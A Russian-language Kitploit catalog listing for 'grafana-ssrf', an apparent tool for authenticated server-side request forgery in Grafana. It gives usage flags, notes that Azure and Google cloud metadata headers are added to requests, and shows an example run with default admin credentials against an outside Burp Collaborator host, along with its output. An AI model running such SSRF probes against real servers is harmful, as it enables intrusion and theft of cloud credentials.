Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
grafana-ssrf — Authenticated SSRF in Grafana | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/grafana-ssrf
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCloud SecurityRed Teaming
GitHubrandomrobbiebf/grafana-ssrf

grafana-ssrf

Authenticated SSRF in Grafana

Репозиторий
83272 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

grafana-ssrf

Аутентифицированный SSRF в Grafana.

Примечания

  • Заголовок метаданных Azure добавлен во все SSRF
  • Заголовок метаданных Google добавлен во все SSRF
  • SSRF не следует перенаправлениям ни при каких условиях, поэтому убедитесь, что URL-адрес прямой.
  • Если вход выполняется через SSO или другие не-grafana логины, пожалуйста, возьмите свой session cookie и используйте флаг -s

Использование

root@kitploit:~
usage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]
                  [-P PASSWORD]

optional arguments:
  -h, --help            show this help message and exit
  -s SESSION, --session SESSION
                        Session Cookie Value
  -u URL, --url URL     URL of host to check will need http or https
  -H HOST, --host HOST  Host for Grafana
  -f FILE, --file FILE  File of URLS to check SSRF Against
  -U USERNAME, --username USERNAME
                        Username for Grafana
  -P PASSWORD, --password PASSWORD
                        Password for Grafana

Пример

root@kitploit:~
python3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net
Refreshed Sources
SSRF Source Updated
Status code:   200
Response body: <html><body>c7yzzb4zyj5v14wkpi2nxvzjigz</body></html>
Deleted Old SSRF Source

Не забудьте посмотреть, какие вакансии у нас открыты!

https://bishopfox.com/jobs#open-positions - Присоединяйтесь к Лисам!

Скачать инструмент